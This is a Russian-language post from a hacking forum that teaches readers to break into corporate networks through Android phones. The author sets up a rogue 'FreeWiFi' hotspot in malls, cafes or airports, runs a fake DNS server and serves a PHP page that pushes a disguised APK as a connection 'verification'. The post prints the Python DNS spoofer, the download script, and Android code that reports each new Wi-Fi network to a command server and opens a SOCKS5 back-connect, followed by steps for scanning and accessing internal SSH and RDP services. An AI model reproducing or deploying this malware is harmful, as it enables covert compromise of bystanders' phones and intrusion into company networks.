• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Вторжение в корпоративные сети с помощью мобильных телефонов. И получение точечных инсталов.

2c71e9

Газонокосильщик
КИДАЛА
Регистрация
19.04.2019
Сообщения
708
Реакции
682
Пожалуйста, обратите внимание, что пользователь заблокирован
Сколько общаюсь с людьми, ни кто не рассматривал вектор атаки на компании через мобильные устройства. Давай-те разбираться как это работает. Все мы ходим с мобильными устройствами, вот прям все. Сейчас сложно представить себя даже со звонилкой, ну если конечно ты не таксист или еще какой маргинальный человек. Android это полноценный linux продукт. Но нам не нужен даже android bank бот.

1579695488208.png


Что нам потребуется, обычный socks5 бот + немного модификаций. Хитрость идеи заключается в том что с мобильных устройств мы можем через сокс, сканировать сети, выполнять команды по сети, закачивать файлы и так далее.

И так пойдем по порядку. Делать нам нечего, куча свободного времени. И мы решили сделать качественных инсталов. Сразу скажу, это не работа по РУ! Это мы рассматриваем вектор атаки, который можно запросто сделать с помощью подмены DNS.

Берем наш любимый линукс и делаем точку доступа.


Статей по этому поводу очень много, поэтому расписывать каждый шаг мы не будем.

Так же поднимаем на VPS какой nginx без всяких там излишеств. Где будет простая страница. "Чтобы разрешить интернету, вы должны подтвердить что вы это вы" Ток вместо прочей SMS лабутни, мы просим скачать APK якобы для настройки.

В нашей точке доступа указываем, подставной dns.

Исходный код простого fake dns

import socket

class DNSQuery:
def __init__(self, data):
self.data=data
self.dominio=''

tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(data[ini])
while lon != 0:
self.dominio+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])

def respuesta(self, ip):
packet=''
if self.dominio:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts
packet+=self.data[12:] # Original Domain Name Question
packet+='\xc0\x0c' # Pointer to domain name
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
return packet

if __name__ == '__main__':
ip='192.168.1.1'
print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('',53))

try:
while 1:
data, addr = udps.recvfrom(1024)
p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr)
print 'Respuesta: %s -> %s' % (p.dominio, ip)
except KeyboardInterrupt:
print 'Finalizando'
udps.close()

Взято с просторов интернета и Fake DNS серверов полным полно. В общем у нас есть тачка + точка доступа + сервер с фейк лендингом где есть наш APK. Называем нашу сеть красиво, типа FreeWiFi и идем в торговый центр большой, в кафе, или в аэропорт или другое место где большое скопление людей.

Запускаем и ждем) Ну можно приделать к выдаче APK скрипт, чтобы считал инсталы. Важно настроить наш nginx на прием всех доменов.


Получаем простой скрипт.

<?
function file_force_download($file) {
if (file_exists($file)) {
// сбрасываем буфер вывода PHP, чтобы избежать переполнения памяти выделенной под скрипт
// если этого не сделать файл будет читаться в память полностью!
if (ob_get_level()) {
ob_end_clean();
}
// заставляем браузер показать окно сохранения файла
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
// читаем файл и отправляем его пользователю
readfile($file);
exit;
}
}

$filename = "download_counts.txt";
$count = file_get_contents($filename);
$count++;
file_put_contents($filename,$count);

file_force_download("internet.apk");
?>

В общем бюджетно, можно даже на бесплатный хостинг залить. Типа Hostinger.ua или как он там называется или любой другой.

Ну круто, мы получили инсталы, А что нам делать дальше? Давай-те разбираться. Эту атаку мы можем использовать как точечно, так и массово. Ни кто же ни чего нам не скажет если мы сами себе на телефон поставим это APK, и пойдем к примеру в большую компанию юристов или еще куда. Где много важной информации.

1579695601866.png


Давай-те теперь разберемся что у нас за APK и что внутри под капотом.

У нас очень простой APK, с минимальными разрешениями.

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permisssion.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permisssion.ACCESS_COARSE_LOCATION"/>

Это минимализирует детекты + юзер ни чего не заподозрит. Да инсталы можно делать откуда угодно! Эта схема будет работать везде. Просо убираем первую часть из статьи.

В манифест добавляем правила

<receiver android:name=".receiver.WifiReceiver" >
<intent-filter>
<action android:name="android.net.wifi.WIFI_STATE_CHANGED" />
<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
</intent-filter>
</receiver>

Ну и собственно класс наше обработки

public class WifiReceiver extends BroadcastReceiver {
private final String TAG = "WifiReceiver";

@Override
public void onReceive(Context context, Intent intent) {
int wifiState = intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE, WifiManager.WIFI_STATE_UNKNOWN);
String wifiStateText = "No State";

switch (wifiState) {
case WifiManager.WIFI_STATE_DISABLING:
wifiStateText = "WIFI_STATE_DISABLING";
break;
case WifiManager.WIFI_STATE_DISABLED:
wifiStateText = "WIFI_STATE_DISABLED";
break;
case WifiManager.WIFI_STATE_ENABLING:
wifiStateText = "WIFI_STATE_ENABLING";
break;
case WifiManager.WIFI_STATE_ENABLED:
wifiStateText = "WIFI_STATE_ENABLED";
// Нас интересует данное место, тут мы подключились к новой сети.
break;
case WifiManager.WIFI_STATE_UNKNOWN:
wifiStateText = "WIFI_STATE_UNKNOWN";
break;
default:
break;
}
}
}

Как вы поняли, в данной строке мы попали в новую вайфай сеть, а это означает, либо мы пришли домой, либо на работу (что нам очень интересно). Ведь на работе ни кто не использует свой интернет, все любят халяву.

Далее мы запускаем новый поток, в виде asyctask

// Получаем данные о текущем месте в сети.

public String intToIP(int i) {
return (( i & 0xFF)+ "."+((i >> 8 ) & 0xFF)+
"."+((i >> 16 ) & 0xFF)+"."+((i >> 24 ) & 0xFF));
}

WifiManager mWifiManager = (WifiManager)
getSystemService(Context.WIFI_SERVICE);
WifiInfo mWifiInfo = mWifiManager.getConnectionInfo();
Log.e("IP in Mask Integer", mWifiInfo.getIpAddress()+"");
Log.e("IP Address", intToIP(mWifiInfo.getIpAddress())+"");



try {
RequestQueue requestQueue = Volley.newRequestQueue(this);
String URL = "http://gate_site";
JSONObject jsonBody = new JSONObject();
jsonBody.put("bot_id", "...");
jsonBody.put("ip ", "...");
jsonBody.put("back_connect_port","PORT") // тут мы говорим какой порт у нас дежурный на socks5
// и так далее параметры
final String requestBody = jsonBody.toString();

StringRequest stringRequest = new StringRequest(Request.Method.POST, URL, new Response.Listener<String>() {
@Override
public void onResponse(String response) {
Log.i("VOLLEY", response);
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Log.e("VOLLEY", error.toString());
}
}) {
@Override
public String getBodyContentType() {
return "application/json; charset=utf-8";
}

@Override
public byte[] getBody() throws AuthFailureError {
try {
return requestBody == null ? null : requestBody.getBytes("utf-8");
} catch (UnsupportedEncodingException uee) {
VolleyLog.wtf("Unsupported Encoding while trying to get the bytes of %s using %s", requestBody, "utf-8");
return null;
}
}

@Override
protected Response<String> parseNetworkResponse(NetworkResponse response) {
String responseString = "";
if (response != null) {
responseString = String.valueOf(response.statusCode);
// can get more details such as response.headers
}
return Response.success(responseString, HttpHeaderParser.parseCacheHeaders(response));
}
};

requestQueue.add(stringRequest);
} catch (JSONException e) {
e.printStackTrace();
}

Так же обрабатываем наш пост запрос на сервере

Где складываем все в базу и по крону отрабатываем.

Алгоритм очень простой

1. Подключаемся nmap через прокси Сканируем сеть.
2. Смотрим интересные порты или шары.
3. Раскидываем файлы, пробуем получить доступы до различных сервисов. Буть то ssh, rdp и так далее (Самое интересное что они из локальной сети могут быть без паролей).
4. Короче радуемся жизни. Ведь мы взломали сеть ^_^ Ну как взлома, хитро проникли.

Немного ссылок на софт по раскрутке и исследовании сети


Ах да забыли рассмотреть самое важное. Это сам socks5. На боте он реализуется через back connect. В данной статье я вам покажу пример одного их них.

Серверная часть написана на nodejs, ну клиентская на java)

Запуск сокс сервера одной командой, в async task

Proxy p = new Proxy(getApplicationContext(),"ip_server", 8081, UUID.randomUUID().toString());

при подключении к сети.

Запуск сервера

nodejs main.js

Вот собственно и все. Для работы сервера вам понадобится redis-server

Исходники отрытые, можете модифицировать как хотите. Помните, самая опасная уязвимость, это человеческий фактор. Всем добра ^_^ Ну и взломами заниматься плохо))) Почему нет инструмента взлома из коробки? Ну ты же хакер! Ты должен же что-то делать еще сам. А не только кликать по кнопкам) Недостающие исходники во вложении :cool: Пароль = стандарт!
 

Вложения

  • socks5_android_bk.zip
    7.5 КБ · Просмотры: 135


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх